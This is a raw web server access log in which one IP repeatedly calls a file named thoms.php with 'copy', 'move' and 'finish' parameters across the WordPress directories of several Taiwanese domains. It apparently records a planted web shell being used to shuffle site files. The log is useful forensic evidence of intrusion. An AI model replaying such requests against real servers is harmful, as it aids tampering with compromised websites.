45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12035 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13622 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13275 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28928 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59101 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13425 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12593 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13288 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14359 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28856 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13614 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13429 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59472 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13267 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14190 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17571 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:47 -0400] "GET /thoms.php?copy=wp-content&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17570 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=wp-content%2Fthemes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12598 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21452 "https://163.245.207.76:443/thoms.php?p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17508 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12054 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13422 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14342 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28772 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13280 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:48 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17500 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12585 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
